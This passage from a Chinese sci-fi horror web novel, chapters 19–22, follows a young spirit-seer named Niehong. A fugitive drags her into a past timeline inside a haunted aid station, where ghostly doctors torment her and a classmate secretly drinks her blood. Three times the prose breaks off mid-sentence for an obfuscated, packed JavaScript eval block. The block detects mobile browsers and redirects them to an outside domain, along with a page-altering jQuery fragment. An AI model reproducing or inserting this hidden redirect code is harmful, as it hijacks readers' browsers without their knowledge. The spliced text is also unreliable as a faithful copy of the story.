霓虹的双手刚抓住衣角,准备脱掉上身的衣物,就察觉到狭窄的更衣室内,头顶的空气陡然凝结,像瞬间结成了冰面,将她困在湖底。她下意识想要呼喊出声,却被一只从那冰面碎裂缝隙伸出的大手捉住,轻而易举地将她带离这个空间。 “谁?!”她短暂失去了视觉。恢复后,她惊恐地察觉身边的一切都发生了变化,自己正身处一条细窄的黑暗小巷,两侧是阴森森的低矮房屋。要不是远处那几栋通天的大厦和漫天的飞车,霓虹都怀疑自己被带离了核心区。 方才那只大手——带着蓝色手套,皮肤很白,指肚上有明显的茧子,很像苏芸上课时戴过的格斗手套。看大小和骨节,应该是个成年的男性。 对方并没有在她面前遮掩自己的意图。霓虹话音刚落,身后突然传来低沉又极富磁性的声音:“我在这里。” 霓虹第一时间做出防御姿态,飞快转过身—— 一个身穿独特亮银色制服、顶着一头白发的高瘦青年男子,正有些好笑地看着她鸡肋的防卫。他的制服泛着淡淡的蓝色荧光,将他的脸孔照映得分外清晰。 霓虹很难去形容这张脸,就像陈元虽然是经过完美打磨的智能人,已经符合她对英俊男性的预期,但眼前这个男人的脸,就像是摆在百货大厦最尊贵店铺正中央、被用防弹玻璃围住的、仅限展出的卓越精品,完美得没有一丝瑕疵:白皙如玉的细腻皮肤、一双狭长却不扁窄的眼睛、黑得发亮的瞳仁、高耸的鼻梁、弧度优美又饱满的嘴唇……五官都落在精确得仿佛经过计算的位置上,让人连看上一眼都觉心惊。 这当真是人类吗? 她深吸口气,让视线脱离对这样完美脸蛋的描绘。自己差一点就被他的外表迷惑,遗忘了自己被“绑架”的事实。 “带我来这里做什么?”霓虹恶狠狠地追问,“我有同伴。如果再不让我回去,他们一定会发现。” 她在试探。 岑为微摇摇头。他将目光投放至手腕,一个隐形的光脑瞬间浮现。他飞快解锁屏幕,点了几下,将手腕翻转,让霓虹看到屏幕上的内容。 这是个放大的数字时钟——九点零一分。 霓虹不可置信地倒退两步。她深刻记得自己在落地时看过时间,是九点零八分。 他有任意穿梭时空的异能? “此刻,你应该还在城外排队。”岑为试图让气氛不那么剑拔弩张,“我叫岑为。之所以将你拉到这里,是因为我需要视灵者的帮助。” 霓虹又是一惊。这人到底是什么来头,自从季明珊交代过她不要让任何人知道自己的能力,她相信除了季明珊、陈元和白恩以外,联邦没人知晓自己视灵者的身份。 “我为什么要帮你?”她尽力保持镇静。 “好问题。”岑为收回光脑,向前一步,俯身与她平视,那双清澈黑亮的眼睛仿佛能将人溺死其中—— “因为我是联邦一级逃犯。” 19.圣亚戈救助站(一) 一级逃犯? 这么危险的人物,能在核心区内自由穿梭?他能避开稽查员的追踪?霓虹已经体验过UMA的传送舱,并不认为穿梭时空是什么独特的能力。 她目前的有利情况是对方需要自己。通过季明珊的讲述,视灵者是联邦的珍稀存在。她克制住想要逃跑的愚蠢想法,重新打量了下岑为。 他比陈元等人更像智能人。外貌出众,穿的制服更是科技感点满,整个人就像个移动的银色智能大屏,发着幽幽蓝光。 “你要寻找异质体?”霓虹没打算遮掩。既然对方知道视灵者这回事,自然了解其命名的缘由。 “算是。”岑为脸上有迷茫的神色一闪而过,“坦白讲,我也不知道自己要寻找什么。” ?又一个失忆的?这大哥不会是从未来穿回来的吧? “我真的需要回去了。”霓虹警惕看向他,“这周围并没有异质体。” “别急。”岑为目光下移,锁定她腕侧的光脑,“加个好友。下次需要你,我会提前说。” “你不怕我举报你?”霓虹觉得这位赛博逃犯,未免太松弛了些。 “那你自己可要小心了。”岑为抬起手臂,手掌在空中张开,一道淡蓝冰纹在空中浮现,“要让季明珊知道你认识我,恐怕你的后半生,只能在精神病院里度过了。” 加完好友,霓虹眼前又是一黑,随即发现自己又回到了更衣室中。她的手指仍旧捏着衣服下摆,仿佛刚才只是自己的一瞬想象。 她飞快脱掉洗得袖边开线的上衣,换上江蕴给她挑的新衣服。试衣间镜子里,她看到自己瘦削得有些凹陷的脸上表情有些凝重,只好快速搓了搓来缓解肌肉的紧张。 她没有在这里打开光脑确认,怕稽查员通过什么途径发现端倪。她在意的是岑为最后说的那句话。 他认识季明珊,甚至可以说是了解。至于精神病院,则让她联想到当初陈元提及的那十一位自然人视灵者的下场。 难道他们的下场,都和季明珊有关? 霓虹在心里按下这份怀疑。她才刚对季明珊产生微弱的信任,毕竟背靠大树好乘凉。但如果她当初严肃向自己保证的“绝对安全”,是面临危险后,将她关到什么不见天日的精神病院里,那么她不如自寻生路。 垃圾管理员真的是个不错的职业规划。 霓虹没再耽搁,飞快换上短裤,推门走出更衣室。她不露声色地观察着在外等待的江蕴和陈元,两人并没有什么异常,看向她的眼神中甚至多了份看孩童的慈爱。 “挺好看。”陈元率先开口。 “嗯。”江蕴目光温柔,像在透过她延申想念。 “那就这套了。”霓虹打算直接穿着,因为这身衣服的面料确实舒服,比她那身破棉布好了不知多少倍。 陈元帮忙店员打包衣服时,顺手结了帐单。他和季明珊商量过,给她私下转的那点钱,就算是出于私心,补偿她离家的安慰费。 霓虹不喜欢逛街,江蕴也只是挑挑看看,并没买什么。陈元只好无奈带两人返程。江蕴要接受入职培训,陈元先将霓虹在公寓区放下,又嘱咐了遍有事找他,才开着飞车带江蕴离开了。 待飞车在视线中缩成小点,霓虹才缓缓出匀了一口气—— 方才在车上,岑为给她发了条消息。亏得陈元正在和江蕴说起入职相关的事项,才堪堪盖过了消息提示音。 怎么有种当间谍的感觉。 她回屋进了卧室,把门窗关好、窗帘拉上,才敢打开光脑。 “后天下午回824区。”岑为的消息很简短。 霓虹没立刻回复,而是先研究了下如何将光脑调成静音。她还谨慎地将岑为的联系方式设为隐藏,修改了锁屏期间不显示消息内容、星币支付需要密码等隐私保护设置。 刚过中午,霓虹解决了早晨江蕴还未来得及吃的完美煎蛋,来缓解腹中的饥饿。经历昨天充足的睡眠,她的头脑已经足够清醒,能够捋清最近发生的一系列事件—— 她因“自爆”,被季明珊招揽进UMA管理局,拥有了一等公民身份和高昂薪水,还可以任意进入联邦第一区的核心区域; 她通过两次任务,知晓了部分关于时空传送、怨灵、死界、异质体等普通民众无法接触的秘辛。每次传送都让她对现存世界的了解多上几分,并且能感受到自己的能力在缓慢加强; 她被通缉犯岑为发觉能力,并被迫“达成”了某种合作。他的手段十分了得,可以无声无息地将她带到过去的时空,并且不影响原本时间的流逝。 总结下来,她觉得自己既幸运又不幸。眼下她不仅要隐瞒自己穿越者的身份,还要谨慎小心地应对岑为可能带来的巨大麻烦。 …… “你要回824区?”季明珊收到陈元的简讯后,直接一个电话打给霓虹。 “对。”霓虹说着一早准备的措辞,“我还是不放心奶奶,想回去看看。” 电话那头沉默。 “我可以自己雇佣飞船。”霓虹不想麻烦她,只是希望得到批准,“有任务我会第一时间返回。” “你当初在哪看到的异质体?”季明珊突然换了话题,并加重了语气。 霓虹心跳几乎停滞。 她早知道这个谎瞒不过季明珊,只是没想到对方会这时突然发难。 “在家。”她没对这位能力出众的视灵者隐瞒。虽然她并不完全信任季明珊,但要反过来,季明珊对自己产生了某种怀疑,那她的日子就不好过了。 “如实告诉白恩。”季明珊没再执着于细节,“824区最近不太平,不要试图寻找异质体,不要长时间停留。” 听到对方依然在为自己的安全考虑,霓虹松了口气,“好。” 她那句谢谢局长还没出口,季明珊就飞快挂断了通讯。霓虹思索半晌,还是给岑为回了个“好。”之后对方再无消息。 霓虹用这两天空闲的时间,给自己安排了合理而长远的训练计划,还通过光脑浏览了第一区近半年的新闻和大众论坛,掌握了订外卖、车辆和跨区飞船等基本生存技能。令她意外的是,不管何种交通方式,价格都比较低廉,甚至还可以挑选司机。她还学会了如何在网上直接选购赫明德百货商厦内的物品,只不过大部分商品需要等待配货,因为备注栏里标明要优先考虑实体专柜的运营,建议到店选购。 白恩听说她要回来很高兴,说要亲自到港口去迎。霓虹直接约他在警局附近见面。她麻烦白恩的事已经够多了,并且自己已经是有薪水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675041|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的在职员工,不再是需要大人照料的高中生。 飞船抵达港口,她和面相和善的飞船驾驶员告别,并留下二百星币的小费。 在港口管理处兑换了五万星币纸币,霓虹到824区核心区低矮的五层购物商场消费了一波。她没选择直接在赫明德百货商厦购买,一是不方便拿,二是那里的东西太过华而不实,就像她买下的那身运动套装,在这里只需要350星币即可。 霓虹为白芳挑选了一套护肤用品,为白恩挑选了一个全自动按摩仪,又给奶奶买了不少透气布料的衣服用来更换。天气炎热,奶奶行动不便利,之前穿棉麻的衣服总是起小红疹。她还不知道自己的新家是什么模样,所以留了点钱,打算先回家看看再做添置。 她预定了上门配送,护肤品和衣服送往白恩发给她的公寓地址,按摩椅则直接配送到警署,留的是白恩的名字。 付完星币,签好配送单,霓虹刚欲打飞车前往公寓,只觉身侧的空气忽然凝滞。她任命般叹了口气,尽量平静内心,由着岑为将自己拉入另一个时空。 视线慢慢恢复。霓虹第一时间打量了四周,竟发现这里意外地眼熟。 “这是……圣亚戈救助站?”霓虹向自己身前正理着凌乱发丝的岑为确认道。 “对。” 得到肯定的答复,霓虹认真端详起他们所处的空间。她是通过墙壁上独特的救助站标识认出的——这应该是条内部的走廊,只不过十分昏暗。她从没在半夜来到这里,觉得浑身发毛,头皮发紧,像有什么诡异的怪物在看不清的黑暗中蛰伏。 啪。 岑为摸着墙壁上凸起的开关,一下把灯打开了。 “哎!”霓虹下意识想冲过去关掉。 “怎么了?”岑为一脸问号。 “你……”霓虹不知道该如何向他解释,UMA入职培训的那一堆。由于是在异时空,要特别注意,不要做出引起这个时空内存在人类怀疑的行为,也不要做出有违常识的举动。 “放心。”岑为大胆、毫无遮掩地走向前方,“你只是我的辅助,有危险,我自会处理。” “……”又是一个对自己实力分外自信的。 霓虹快速扫遍整条走廊。这里确实是圣亚戈救助站,好巧不巧,还是她从前上学找到的快捷路线——彼时她就是快速穿过这条走廊,绕道后院,奔向摩恩大楼。 往日这条走廊十分拥挤。这里临近护士站,不少为了省钱的贫民会选择在走廊打地铺来等待检查结果、接受治疗。还会有推着小车的护士脚步急促地在人群中穿梭,前往一个又一个治疗室。 此刻这里安静得可怕。 走廊两侧的治疗室大门紧闭。她紧跟着岑为走到走廊的尽头。面前通往后院的小门是她无数次推开的那扇,旁边则是一间药房和救助站一楼的公共卫生间。 岑为直接抬手伸进药房领药窗口的空隙,哪怕里面是一片黑暗。这莽撞的行为看得霓虹心跳一停。 “要取药么?” 霓虹正尽着辅助的职责,主动替岑为查看着他背后的情形,忽地听到身后传来一道不太和善的女声。她猛地回头,看到方才黑咕隆咚的药房里开了灯,一位穿着白大褂的女性睡眼惺忪地靠近窗口,朝两人伸出了手。 20.圣亚戈救助站(二) 还真有人。 霓虹看向药房墙壁上悬挂的电子钟,凌晨两点零七分。 “怎么拿?”岑为开口询问。 “拿着就诊卡,先去收费处交钱。”大夫像是已经疲于一遍遍地解释,飞快嘟囔完这句话,随即挪开视线,不再理人。 岑为扭头看向走廊向前和向右的岔路,似乎在思考哪边才是通往收费处的。 “要交费,你得先挂号,找大夫开药单。”霓虹出言提醒,“你是要开什么药吗?还是要找什么东西?” “异质体。”岑为顿足在分叉口,示意她领路,“有线索把我引到这里。” 线索。看样子岑为还有别的“辅助”,或是队友。她没心情去打探对方效忠的组织,理智告诉她,关于岑为,自己知道的越少越好。 她尽职地当着他医院里的向导。先到大厅自助机器上挂了实时号,再到指定的诊室就诊。岑为在她的提示下描述自己患有头疼、腹泻的症状,夜班的大夫熟练地为他开上一支普通针剂——而据霓虹所知,只要不是外伤断了骨头,基本上都是开这一种针剂。 等他们到收费处缴费,整个一楼差不多都被两人的行踪点亮。每个黑暗区域都有对应的值班人员,也并没发生什么超乎常理的诡异现象。 岑为只说他得装成病人,其他任由霓虹发挥。他在观察医院的构造。 “500星币。”收费处窗口的电子音冷冰冰地说道。 岑为抬手刷了光脑。他挂号都用的自己名字,似乎完全不介意在这里留下什么痕迹。 “你该不会真要打针吧?”霓虹看他朝药房折返,忍不住问道。 “嗯。我找到的线索,需要触发条件。” 岑为现在都没说明白他到底找到了什么线索,霓虹只能愣头青一样跟在他身侧,像真来陪护病号的。 两人刚领了针剂,护士就神不知鬼不觉地从走廊一间黑洞洞的屋子里探出头来,“岑为?来这屋打针。” 霓虹想跟他一块进,却被护士拦在了门外,指了指门口“家属止步”的牌子。 她忐忑不安地在输液室对面的长椅上坐下等待。 她打开光脑,发现日期是前天。所以他是先得到这里的线索,才来找的自己?霓虹觉得这条走廊愈发阴冷,裸露的小腿皮肤都起了一层鸡皮疙瘩。 闲着也是闲着,她用光脑搜索起“圣亚戈救助站”,意外发现这里竟然大有来头。圣亚戈救助站是在联邦169年、由某个退位的神秘统治者创建的,并成立了慈善救助基金会,引得不少居民区效仿。 时间分秒流逝。霓虹时不时抬头,确认输液室内的光源依旧亮着。可在她几乎翻阅完圣亚戈的详细介绍后,岑为依旧没从这间屋里走出来。 她见过别人注射针剂,顶多几分钟的时间。 霓虹起身,试探着晃动输液室的把手。 被人从里面上了锁。 “岑为?” 没有回应。 就在这时,走廊内的灯光,从尽头开始飞速熄灭。霓虹在黑暗中失去了视觉,只知道自己的手正握着输液室的门把手。输液室内的光源同样消失,她像只落入陷阱的猎物。 她不顾双眼刺痛,尽力去看清黑暗中隐约的轮廓。就在这时,霓虹浑身神经陡然绷紧! 她身后有人! 这距离太近,她艰难吞下口水,感受着对方的鼻息有节奏地扑在她的后颈。脚跟像被胶水牢牢黏在原地,这距离太近,她连跑都来不及。 “你来看病吗?” 霓虹浑身汗毛瞬间炸起。身后的人声音像被什么重物压过一样扁平,还有些刺耳。 这是怨灵?自己误闯了什么任务?霓虹清楚知道自己并没有季明珊那套手枪加银质小刀的战斗装备,鲁莽行事只会加速死亡。 她只能顺着他的话:“是。” “那你要先去挂号。”他“好心”指点她,“在前面。” “好,谢谢。”霓虹维持住声线的平稳。她开始抬步往前走,没敢扭头去看个究竟。 黑暗无边无尽,她的步子越迈越小,几乎要停滞不前。恐惧逐渐堆积,太阳穴都有些鼓胀。 她已经是视灵者,视力凌驾于普通人之上。可她在这片黑暗中连自己的手指都看不清,只能依靠手掌摸着墙壁、一点点试探着前行。 “快到了。” 身后的威胁始终存在。他颇有耐心地指挥着她前往挂号处。只可惜霓虹听不到他的脚步,无法判断任何事。 好在对方目前没有攻击的倾向,但她不确定自己若违背他的意愿,会不会瞬间被消灭。 霓虹按记忆和身后的指引,终于摸到了挂号机屏幕的侧边。头顶灯光霎时亮起,刺得她眼睛一痛。 同一时间,身后压迫感十足的气息随之消散。霓虹没敢回头确认,而是在屏幕上输入了自己的信息,刷了光脑,支付了15星币的挂号费。 “请到内科,一诊室就诊。”冰冷的电子音灌进耳朵,霓虹咬紧牙关,豁出去般快速回身。 她身后空荡,只有挂号处灯光投下的光晕。 内科一诊室……就是方才岑为的那间。这间诊室似乎是专门负责夜间急诊,有医生在里面摆好行军床、铺好铺盖小憩的痕迹。 但她不确定现在自己即将进入的诊室,里面还是不是刚才那位脸盘圆圆、身体有些发福的大夫了。 那一路跟随她到挂号处的鬼影没了踪迹。霓虹心里松快了些,即便走廊依旧黑暗不可视,也没有刚才像被人拿枪抵住的感觉了。 霓虹按记忆摸到左侧墙壁的第一处凹陷,缓步来到诊室门口,轻叩大门。 “吱呀——” 没人开启、霓虹也没握住门把手上下按动,这扇门在黑夜中自己开了。 屋内并没有灯光亮起。 霓虹几乎难以控制面部的紧张表情和心跳。但她别无选择,只能选择走进诊室。 一步,两步。 她小腿满布细密的冷汗。盲人尚有拐杖支撑,而她只能尽量自然地弯下点腰降低重心,避免被看不清的障碍绊倒。 霓虹确信这屋里存在“大夫”这个角色,只不过她看不见。她正思考该如何解决看病这个问题,无数道低沉嘶哑的声音突然同时响起! “你哪里不舒服?” “你要看病吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684337|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “去交钱,懂吗?” “针剂最好用了。” “排队!” “叫你家属进来。” “没钱看什么病!” “去打针吧,你快死了。” …… 霓虹惊恐地退后几大步,后背猛地撞上了冰冷的墙壁。她想得没错,这屋里确实有大夫,还不止一个! 她感受到了胸口的憋闷,像是被这些怨灵抓住了手脚、压住了身躯,准备将她献祭。为什么是她?霓虹挣扎着伸长脖子,试图呼吸。缺氧让她的思考停滞,只剩下最原始的求生本能—— 她猛地朝黑暗中挥拳,毫无章法,却用足了十成力。霓虹惊讶地感受到自己的拳头撞上了一团软绵绵、轻飘飘的东西,还伴随着一声闷哼。 可她依旧什么都看不见。霓虹来不及思考,接连出拳,逐渐感受到那股压迫的力量在逐渐消退,那些怨灵好像被她的野蛮吓到,纷纷退让围观。 怨灵实体化?她没察觉到有活人的气息。此刻霓虹已经能确定,自己正身处一个独特的死界——听声音,起码容纳了十几个怨灵。 不知道季明珊有没有碰上过这么棘手的任务。 “我来看病。”霓虹不再理会那些“注视”。 话音刚落,一盏暖黄色的灯光亮起。睡眼惺忪的圆脸大夫坐直身体,从兜里掏出眼镜戴上,像刚从梦中清醒。 竟然是同一位医生。 霓虹早在挂号时就瞄了眼光脑上的日期和时间。她应该只是能进入死界,并没有离开岑为领她进入的时空。 “大夫,我头疼,还有点拉肚子。”霓虹朝大夫递过就诊卡,决定选择和岑为一样的症状,说不定也能进那间输液室。 “几天了?”大夫熟练地敲击着键盘。 “两天。” 又是一阵劈里啪啦地敲打,大夫将就诊卡递了回来,“先去缴费,然后到三楼抽血化验。” ?!霓虹的表情顿时僵在脸上。说好的直接开针剂呢! 三楼她从未去过,连基本构造都不清楚。这黑咕隆咚的,她该怎么找到化验室? “大夫,我……打个针就行了。”霓虹不想招惹救助站内,隐藏在角落里的其他存在。只是一楼这么点地方,她就遭遇了两拨怨灵,再上个楼……她无法预料自己会撞上什么可怕的东西。 “我是大夫还是你是 大 夫……” 霓虹飞快后撤,眼睁睁看着圆脸憨厚的大夫恼怒暴起,整个人膨胀到三四倍大,顶裂了房顶。他整个躯体都随着这句拖长的尾音颤抖起来。 啪!霓虹躲闪不及,被撑到极限后爆炸的大夫喷淋了一身液体。她无法判断那是不是血,因为同一瞬间,屋内的光源再度熄灭,耳边又传来密密麻麻、语调高低不同的低暗嘶吼—— “你听不懂人话吗?” “弱智真该死。还来看什么病。” “不是告诉你要空腹来吗?怎么这么不听话。” “哈哈哈哈刚才那个人好丑啊。” “这帮蠢猪。” “能不能别总大半夜来?” “废物,快去抽血啊!” 21.圣亚戈救助站(三) 霓虹厌恶地抹了把脸上的液体。不知为什么,她感受着这些液体在脸上流动,有种蠕虫爬过的异样感。 “走吧。”头顶传来一声轻轻叹息,像是在催促贪玩的孩子回家。 那个引领她前往挂号处的幽魂再次出现。 “我该往哪儿走?”被十几个怨灵突脸差点窒息、目睹活体自爆后,霓虹对这片黑暗的俱意不再存在。相反,她还觉得身后这不知是人是鬼的导航挺亲切。 起码不用自己硬着头皮满楼找。 “……直走。”身后的声音默了一瞬,似乎没想到自己被当成了工具人。 紧捏心脏的恐惧消散后,霓虹恢复了思考的能力——她猜想岑为多半也是被捉进了什么异空间里,这栋救助站恐怕不止一个死界那么简单。 那些怨灵的角色是大夫。救助站有病人死去她能理解,为什么偏偏是大夫?难道这里发生过什么事故?她回忆起那些不善的嘶吼,这些大夫似乎没什么医德,不是驱赶咒骂就是背地嘲笑病人,像是内心某种邪恶想法的外化和放大。 那她身后这个呢?既然负责为她指路,他一定对这栋建筑非常熟悉。他并不属于医生的阵营,而当霓虹从诊室出来、回到走廊,身后的声音才幽幽响起,而那些疯狂的怨灵都在门口驻足,不再喧闹。 直到霓虹摸索着踏上通往二楼的阶梯,才想起自己刚才忘记缴费。她刚要折返,就感受到一股让她无法后退的巨力。 “检验科,可以缴费。” 她点点头,摸着扶手踏阶而上。 霓虹没有在二楼停留。等她踩到三楼的地面,走廊上的白炽灯忽地亮起,她的双眼又是一阵钝痛。 她试探着后退一步。方才那股压迫感十足的巨力消失,她的人工导航不知又去了哪里。 霓虹没有冒险前进。三楼的走廊比一楼狭窄得多,左侧有一扇透明的大玻璃窗,下有缝隙,上面用粗条的红纸贴着“检验科”三个大字,以及一行温馨提示: “抽血后请自行寻找休息室等待结果。如有头晕、恶心等不适,请速来检验科领取缓解药剂。” 她扫过走廊里其他房门关紧的屋子,离她最近的这一间、正对检验科的门上标注着“休息室1”。 经历刚才诊室的异变,她很难不去猜测,这些小屋里都藏着惊喜。 霓虹走到玻璃窗前。里面灯光大亮,还伴有机器运转的声音,只是空无一人。 “有人吗?我来抽血。” 一阵窸窸窣窣的声音响起。在霓虹视线的盲区,有人从行军床上的被窝里苏醒,揉了揉发胀的眼眶,起身披上了外套。 霓虹谨慎地离远一步。虽然这里亮着灯,但谁也不知道那动静是人是鬼。 “把卡……”全盈疲倦地朝玻璃外伸出手,却在看清对方的霎那间瞪圆了眼睛。 “霓虹?!你怎么了?” 窗外的霓虹同样震惊到无以复加。 “你在这儿做什么?”她无法辨认眼前人的真假。但通过对方的表情,基本上能确认,她就是慈善高中班里的那位。 “我,我妈妈,她是检验科的。”全盈有点难为情,“她希望我毕业能接手她的工作,所以……所以就趁夜班,让我练练手。” “你晚上在这儿抽血,白天上学?”霓虹抬眼看了下时钟,凌晨两点三十二分。 “是……”全盈紧张得搓着手。不知怎么,她感觉霓虹的气场和之前完全变了,让她有点害怕,“妈妈给了我一种药,可以缩短睡眠时间。” “我来抽血。”霓虹没再多问。她不想在性命堪忧的时刻,还来关心别人的命运。 只是,她现在算离开了死界吗? “哦,好。”全盈接过她的就诊卡。霓虹一路紧握着,上面还残存着她的余温。 全盈拿着卡,假装背对着她登记信息。她尽力平复自己擂鼓般的心跳和颤抖的手——在学校就是,她发现自己难以克制自己对霓虹的崇拜、喜爱,甚至到了十分狂热的地步。她会皮肤泛红、心跳加速,像被她下了蛊,恨不得把心都掏出来给她。 其实也并不是因为她敢反抗老师,从而视她为偶像……全盈感觉自己对霓虹的喜欢,近乎于来自本能。 就像嗅到骨头香味的狗。那种喜欢和爱来自脊髓,不受大脑控制,原始而热烈。 “还需要缴一下费。”全盈回过身,把一台小型收款机推向霓虹。 霓虹抬手扫了下光脑。全盈眼尖地认出那是联邦最新款的光脑,价值不菲。她并不知道霓虹休学后去了哪里,但清楚记得她在读书时家境贫困,住在824区的贫民窟里。 是她的父母找到了她?如果同样是中层以上家庭,或许母亲会同意自己光明正大和她接触。 “可,可以加个好友吗?”她故作镇定地开口。 霓虹一直低头端详着她的动作。她有些慌乱,像在雨中为她送来雨具时那样,十分羞怯。 “可以。”霓虹学着岑为当时的样子,添加了她的好友。 “你……坐下来。我需要准备。”全盈扔下话就跑了,脸上还带着显著的红晕。 霓虹坐在窗口的凳子前,目光冷冷地看向四周。这层楼的休息室少说也有十几间,一间诊室大小的屋子,即便是放上床位,也能容纳至少四人。而据她所知,来救助站的人大多是为了针剂,抽不抽血的,没什么意义。 救助站也不是医院那样的盈利机构。 她打量了一圈,又探头朝检验室内张望。她没见过这里面运转着的、低声轰鸣的机器,趁全盈和她互为视线盲点,霓虹飞快抬手,用光脑拍摄下内部照片。 很快,全盈端着铁质的托盘回来了。她坐在对面,将托盘内的碘酒和消毒酒精瓶盖打开,把两只玻璃试管插进一旁的塑料托架中,撕开一次性棉签,示意霓虹伸直手臂。 全盈轻柔地抚摸上她肘窝内血管的跳动。她狠狠吞了口口水,让注意力集中在抽血这件事上。找好下针的位置,她先用棉签在局部消毒,而后拆开抽血针的包装,飞快而又精准地扎了进去。 温热鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688829|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红的血液回流。全盈快速将针头相连的软管插进试管,让血液贴壁缓缓流进其中。霓虹只感受到了最初那一下刺痛,她的手法很是不错,因为方才这幅场景让她回忆起脑海中久远的片段——她似乎在一个闹哄哄的环境里,被一双有些愚笨的手来回扎了好几次。 “报告什么时候出?”霓虹按住止血的棉签,起身问道。 “报告?”全盈不知跑神到哪里,一时间没反应过来,“哦对,报告。你稍微一等,我马上。” 马上?这就是认识熟人的好处?霓虹小小感叹了下,看来她是不用去休息室里冒险了。 圣亚戈救助站里满是秘密。怀着仇怨死去的大夫、诡异的三楼检验科,还有一层进去再也出不来的输液室。全盈是如何在这种环境中安然度过夜晚的? “你妈妈呢?”霓虹状作不经意地问起。 “她在休息室补觉。”全盈背对着她操作着仪器,毫无顾忌地回答,“她白天太忙了。” “不是有针剂?怎么还这么多人抽血。”霓虹问出符合身份的疑惑。 “呃……”全盈似乎没思考过这个问题,“我不知道,反正大夫开什么,我们就做什么。”想到这儿,全盈再次确认了下霓虹的检验项目。 她还以为是霓虹对大半夜明明一支针剂就能解决、还得额外上来抽血这件事不太满意。 霓虹嗯了一声,没多开口。她不知道自己等待验血报告的行为是否有意义,毕竟给她开检查单的大夫都爆成了满屋的浆液…… 等等! 霓虹猛地低头看向自己!方才她被那怪物喷了一身,此刻身上竟然没有一点痕迹! 难道只有一楼是有危险的异空间,三楼……只是普通的救助站?那大夫让她抽血的行为,是为了帮助她回到现实? 不对。 或许那些怨灵也不知道三楼的情况,只是刻板的根据某种准则,不得不执行让她去抽血这个步骤。霓虹脑子里乱成一团,想不通这里的逻辑。 还是得赶紧找到岑为才行。没有他的异能加成,霓虹没有信心,自己能四肢健全地走出救助站。 …… 全盈手里捏紧了封口的试管。 她清楚知道接下来的步骤——这些仪器很智能,将试管放进联邦最新研制的离心机里,选择极速模式,不到十分钟就会出结果。血液样本也不用再费心处理,直接通过仪器处理、消杀、滤过,再由特定管道运输排放。 但她握着这根试管,迟迟不想放进去。里面的血液脱离了身体,本应只是一滩液体。可她却感受到这血液里仿佛存在生命,存在着令她疯狂、令她着迷的生命,正吸附着她的手掌。 这是霓虹的血。 全盈心砰砰直跳,挣扎下做出了决定。她飞快地手指割破,将自己的血液滴入空试管,密封好后放入了离心机。她握着霓虹的血,假装忙碌地走进放置废弃试管和针头的库房,掩上房门—— 阴暗的角落里,她迫不及待地拧开试管的封口,仰头将这管血喝了下去。 22.圣亚戈救助站(四) 霓虹接过报告单,发现自己各项指标均为正常。 “情绪激动?”她指着报告的最后一行,“这是怎么测出来的?” “我不懂原理。”全盈回得很快,“你……你的血没什么问题。” 霓虹古怪地看她一眼。 “你快回去找大夫吧。”全盈错开视线,“这么晚了。” “好。”霓虹再次确认三楼没有任何逃生出口后,将报告单对折再对折,装进短裤口袋。 她没再多问。如果全盈真在现实中的救助站里,此刻应该是两天前的夜晚,她只是个普通人,没必要拉她下水;而如果她牵扯其中……那必然会随着真相一同浮出水面。 霓虹握住扶手,再次踏上楼梯。黑暗如浓雾迅速包绕,她扭头看去,三楼仿佛从未存在,只是一片深暗的黑。 希望不要再看到全盈了。 霓虹小心地迈下台阶,颇有频率的呼吸声随之在头顶起伏。 “你可以走了。”抵达一层,一路跟随的怨灵突然开口。 走了?霓虹满腹狐疑。她没反驳,斟酌后镇定开口:“我的朋友还在这里,我们一起走。” “他不在这里。”身后幽幽道,“你可以走。” “我头疼,需要打针。”霓虹不相信自己的离开会如此轻易。她必须先找到岑为,否则自己根本无法回到原本的时空。更何况是这群怨灵拉自己入局,保不齐在这片黑暗的死界中,救助站外才潜藏着更大的危险。 “那你回去找大夫吧。”身后传来一声深深叹息。 身后那股紧贴皮肤的冷意逐渐消散。霓虹察觉到对方的离去,一时间无法判断自己的决定是对是错。 她的经验还是太少,但好在自己在这么阴森诡异的环境里,还有思考的能力。 滋滋—— 头顶白炽灯闪烁两下,随即亮起。霓虹飞快适应了眼前的明亮,大步走向输液室。 门依旧紧锁。里面拉着帘子,什么都看不清。没多驻足,霓虹走到内科一诊室的门口,轻叩两下,得到“请进”的答允后,将门推开。 依旧是脸盘圆圆、正从小憩中苏醒的大夫。他重复着先前的动作,将放在桌上的眼镜戴好,努力睁了睁惺忪的睡眼。 霓虹遏制住喉口泛上的不适。十几分钟前,她还亲眼看到这颗头颅撑大、爆开。 为什么一直是同一个大夫? “哪里不舒服啊?” 霓虹一怔,“我头疼。这是验血报告。” “验血?”那大夫抬起半秃的头,低声嘟囔了句。他接过报告,似乎不相信是自己开的单子。 